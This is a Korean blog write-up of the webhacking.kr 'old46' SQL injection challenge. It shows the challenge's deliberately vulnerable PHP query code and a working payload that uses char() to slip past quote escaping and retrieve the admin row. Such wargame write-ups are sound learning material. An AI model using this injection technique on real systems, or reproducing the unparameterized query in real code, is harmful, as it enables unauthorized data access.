webhacking.kr - old46

2021. 4. 3. 15:24WarGame/webhaking.kr

시작하면 위와 같이 sqli가 가능한데 소스코드를 확인하면

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>
</body>
</html>

id 부분을 admin으로 바꿔주면 될 것 같습니다.

 

1&&id='admin'

으로 넣어주고 싶지만, '가 필터링되어서 /'으로 변환되니, char을 활용해서 넘겨주자.

1&&id=char(97,100,109,105,110)

하면 풀이가 가능하다.

 

 
 
 
 

'WarGame > webhaking.kr' 카테고리의 다른 글

webhacking.kr - old8  (0) 2021.04.04
webhacking.kr - old49  (0) 2021.04.03
webhacking.kr - old3  (0) 2021.04.02
webhacking.kr - old4  (0) 2021.03.31
webhacking.kr - old5  (0) 2021.03.30